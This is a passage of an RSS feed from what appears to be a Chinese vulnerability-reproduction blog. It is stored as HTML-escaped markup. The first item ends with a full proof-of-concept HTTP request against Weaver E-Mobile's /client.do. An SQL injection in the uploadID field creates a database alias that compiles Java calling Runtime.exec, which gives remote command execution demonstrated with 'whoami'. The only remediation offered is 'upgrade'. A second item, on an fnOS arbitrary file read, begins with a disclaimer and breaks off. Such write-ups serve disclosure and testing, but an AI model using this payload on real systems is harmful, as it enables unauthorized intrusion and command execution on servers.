data-lang=&quot;javascript&quot;&gt;&amp;quot;Weaver&amp;nbsp;E-Mobile&amp;quot;&lt;/pre&gt;&lt;/section&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200532177089793237575.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000687&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;3 3 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;color: rgb(62, 62, 62); padding-right: 10px; padding-left: 10px; line-height: 1.6; visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; color: rgb(62, 62, 62); font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;05&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;漏洞复现&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;POC&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;section class=&quot;code-snippet__fix code-snippet__js&quot;&gt;&lt;ul class=&quot;code-snippet__line-index code-snippet__js list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre class=&quot;code-snippet__js&quot; data-lang=&quot;bash&quot;&gt;POST&amp;nbsp;/client.do&amp;nbsp;HTTP/1.1Host:&amp;nbsp;&amp;nbsp;127.0.0.1User-Agent:&amp;nbsp;Mozilla/5.0&amp;nbsp;(Windows&amp;nbsp;NT&amp;nbsp;10.0;&amp;nbsp;Win64;&amp;nbsp;x64;&amp;nbsp;rv:131.0)&amp;nbsp;Gecko/20100101&amp;nbsp;Firefox/131.0Accept:&amp;nbsp;text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8Accept-Language:&amp;nbsp;zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding:&amp;nbsp;gzip,&amp;nbsp;deflateConnection:&amp;nbsp;closeCookie:&amp;nbsp;JSESSIONID=abcrCRF1rJkt_4V8s_ikz;&amp;nbsp;ecology_JSessionid=abcrCRF1rJkt_4V8s_ikz;&amp;nbsp;testBanCookie=test;&amp;nbsp;Systemlanguid=7Upgrade-Insecure-Requests:&amp;nbsp;1Priority:&amp;nbsp;u=0,&amp;nbsp;iPragma:&amp;nbsp;no-cacheCache-Control:&amp;nbsp;no-cacheContent-Type:&amp;nbsp;multipart/form-data;&amp;nbsp;boundary=----WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Length:&amp;nbsp;1131------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition:&amp;nbsp;form-data;&amp;nbsp;name=&amp;quot;method&amp;quot;getupload------WebKitFormBoundaryyBvZrAkWyCD8dThVContent-Disposition:&amp;nbsp;form-data;&amp;nbsp;name=&amp;quot;uploadID&amp;quot;1&amp;#39;;CREATE&amp;nbsp;ALIAS&amp;nbsp;if&amp;nbsp;not&amp;nbsp;exists&amp;nbsp;abcd&amp;nbsp;AS&amp;nbsp;CONCAT(&amp;#39;void&amp;nbsp;e(String&amp;nbsp;cmd)&amp;nbsp;throws&amp;nbsp;java.la&amp;#39;,&amp;#39;ng.Exception{&amp;#39;,&amp;#39;Object&amp;nbsp;curren&amp;#39;,&amp;#39;tRequest&amp;nbsp;=&amp;nbsp;Thre&amp;#39;,&amp;#39;ad.currentT&amp;#39;,&amp;#39;hread().getConte&amp;#39;,&amp;#39;xtClass&amp;#39;,&amp;#39;Loader().loadC&amp;#39;,&amp;#39;lass(&amp;quot;com.caucho.server.dispatch.ServletInvocation&amp;quot;).getMet&amp;#39;,&amp;#39;hod(&amp;quot;getContextRequest&amp;quot;).inv&amp;#39;,&amp;#39;oke(null);java.la&amp;#39;,&amp;#39;ng.reflect.Field&amp;nbsp;_responseF&amp;nbsp;=&amp;nbsp;currentRequest.getCl&amp;#39;,&amp;#39;ass().getSuperc&amp;#39;,&amp;#39;lass().getDeclar&amp;#39;,&amp;#39;edField(&amp;quot;_response&amp;quot;);_responseF.setAcce&amp;#39;,&amp;#39;ssible(true);Object&amp;nbsp;response&amp;nbsp;=&amp;nbsp;_responseF.get(currentRequest);java.la&amp;#39;,&amp;#39;ng.reflect.Method&amp;nbsp;getWriterM&amp;nbsp;=&amp;nbsp;response.getCl&amp;#39;,&amp;#39;ass().getMethod(&amp;quot;getWriter&amp;quot;);java.i&amp;#39;,&amp;#39;o.Writer&amp;nbsp;writer&amp;nbsp;=&amp;nbsp;(java.i&amp;#39;,&amp;#39;o.Writer)getWriterM.inv&amp;#39;,&amp;#39;oke(response);java.ut&amp;#39;,&amp;#39;il.Scan&amp;#39;,&amp;#39;ner&amp;nbsp;scan&amp;#39;,&amp;#39;ner&amp;nbsp;=&amp;nbsp;(new&amp;nbsp;java.util.Scann&amp;#39;,&amp;#39;er(Runt&amp;#39;,&amp;#39;ime.getRunt&amp;#39;,&amp;#39;ime().ex&amp;#39;,&amp;#39;ec(cmd).getInput&amp;#39;,&amp;#39;Stream())).useDelimiter(&amp;quot;\\A&amp;quot;);writer.write(scan&amp;#39;,&amp;#39;ner.hasNext()?sca&amp;#39;,&amp;#39;nner.next():&amp;quot;&amp;quot;);}&amp;#39;);CALL&amp;nbsp;abcd(&amp;#39;whoami&amp;#39;);--------WebKitFormBoundaryyBvZrAkWyCD8dThV--&lt;/pre&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200533177089793343378.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100000685&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/02/20260212200533177089793325013.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;718&quot; type=&quot;block&quot; data-imgfileid=&quot;100000686&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot;&gt;&lt;code&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/code&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;06&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;修复建议&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: left;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-size: 16px;color: #000000;font-weight: normal;&quot;&gt;升级到安全版本&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;pointer-events: initial;&quot; data-pm-slice=&quot;7 6 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;margin-bottom: 0px; font-size: 16px; background-color: rgb(255, 255, 255); visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;powered-by&amp;quot;:&amp;quot;xiumi.us&amp;quot;,&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;},&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;visibility: visible; pointer-events: initial;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;margin-bottom: 0px;color: rgb(62, 62, 62);font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;07&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;color: #00D100;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0.578px;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;往期回顾&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;section class=&quot;mp_profile_iframe_wrp&quot; nodeleaf=&quot;&quot;&gt;&lt;mp-common-profile class=&quot;js_uneditable custom_select_card mp_profile_iframe js_wx_tap_highlight&quot; data-pluginname=&quot;mpprofile&quot; data-nickname=&quot;北风漏洞复现文库&quot; data-index=&quot;0&quot; data-from=&quot;2&quot; data-headimg=&quot;http://mmbiz.qpic.cn/sz_mmbiz_png/dV0OibMDwBhLiaaoGI8LfuPiaA8ibUUtcv9nSuJJc1Pps7Ys43DOtfxA1zLlMExIyoJkyiaibxJBibUbupXrVXYyOn4vA/300?wx_fmt=png&amp;amp;wxfrom=19&quot; data-signature=&quot;聚焦最新漏洞动态，深度解析SRC、CVE、CNVD漏洞详情。提供漏洞复现教程、工具利用指南及整改方案。为渗透测试与网络安全从业者提供实战交流平台，助力提升安全技能。&quot; data-id=&quot;Mzk2NDkwMDg3Nw==&quot; data-is_biz_ban=&quot;0&quot; data-origin_num=&quot;48&quot; data-biz_account_status=&quot;0&quot; data-service_type=&quot;1&quot; data-verify_status=&quot;0&quot;&gt;&lt;/mp-common-profile&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-bottom: 0px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/section&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Thu, 12 Feb 2026 20:05:18 +0800</pubDate></item><item><title>飞牛系统（fnOS）任意文件读取漏洞 附POC</title><link>https://www.7x0.cn/post/25.html</link><description>&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;直接或者间接的后&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;pointer-events: initial;&quot;&gt;果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;h1 data-pm-slice=&quot;0 0 []&quot; style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 0.8;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/h1&gt;&lt;section style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;pointer-events: initial;&quot;&gt;&lt;section powered-by=&quot;xiumi.us&quot; style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 1em;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;01&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(62, 62, 62);letter-spacing: 0.578px;padding-right: 20px;padding-left: 20px;line-height: 1em;text-align: center;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #1AAD19;font-size: 24px;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;—&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;padding-right: 10px;padding-left: 10px;line-height: 1em;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;letter-spacing: normal;&quot;&gt;漏洞名称&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);visibility: visible;padding-right: 10px;padding-left: 10px;line-height: 1em;color: rgb(62, 62, 62);letter-spacing: 0.578px;text-align: center;pointer-events: initial;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;font-size: 20px;color: #353535;font-family: &amp;quot;Open Sans&amp;quot;, &amp;quot;Clear Sans&amp;quot;, &amp;quot;Helvetica Neue&amp;quot;, Helvetica, Arial, sans-serif;font-weight: 700;letter-spacing: 0.578px;text-align: left;white-space-collapse: preserve;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;飞牛系统（fnOS）任意文件读取漏洞&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;margin-bottom: 0px;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;span style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 1.6;color: #3E3E3E;font-size: 16px;letter-spacing: 0.544px;background-color: #FFFFFF;visibility: visible;pointer-events: initial;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;color: rgb(62, 62, 62);padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;padding-right: 10px;padding-left: 10px;line-height: 1.6;visibility: visible;pointer-events: initial;&quot;&gt;&lt;section style=&quot;color: 